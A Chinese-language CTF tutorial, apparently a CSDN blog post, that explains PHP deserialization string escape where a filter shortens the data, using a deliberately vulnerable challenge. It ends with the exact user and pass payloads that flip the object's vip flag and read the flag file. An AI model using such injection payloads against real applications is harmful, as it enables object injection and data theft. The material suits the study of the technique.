这里承接上篇文章反序列化字符串逃逸(上篇)-CSDN博客带大家学习反序列化字符串逃逸减少,没有看过的可以先去看看,不会吃亏。
例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
还是那个熟悉的三步法:
第一步:先把类写下来正常进行一个反序列化。
这里我先给user,pass随便赋一个值,进行反序列化,如下图:
<?php class test{var $user = "flag";var $pass = "benben";var $vip=true; } echo serialize(new test());
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
第二步:如果变少则判断吃掉的内容。(吃第一个字符串提交到第二个字符串中间的的这个功能性代码”
//在这里flag被替换成hk,字符串减少,会吃掉后面的结构代码, 吃完"s:4:"pass";s:6",就代表 var $pass = "benben"这里的benben是可控的;我的目标代码是"s:3:"vip";b:1;}也就是说我要逃逸这个,所以我要把benben变成"s:4:"pass";s:6"benben";s:3:"vip";b:1;},接下来只要识别到;}这个地方就会反序列化结束,后面的"s:3:"vip";b:1;}自然逃逸成功
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
"s:4:"pass";s:xx"这里会被吃掉,一共19个字符,flag被替换成hk一次搞定两位,必须至少吃10次
,多吃的1加上去就好了。中间要吃掉的变成";s:4:"pass";s:xx:"1(为什么是;s:xx呢?由于benben变了,但是我知道肯定是两位数字符,后面的"s:3:"vip";b:1;}不需要管,只需要数出"s:4:"pass";s:xx"这里会被吃掉,一共19个字符就好)
第三步:算出要逃逸的次数进行复制输出
这里复制10个flag
即user=flagflagflagflagflagflagflagflagflagflag
pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
接下来就可以拿到flag
希望大家能够有所收获,本文是反序列化字符串逃逸(上篇)-CSDN博客的下文,如果觉得不错,可以把上下篇看完,真心希望我的文章能够帮助大家!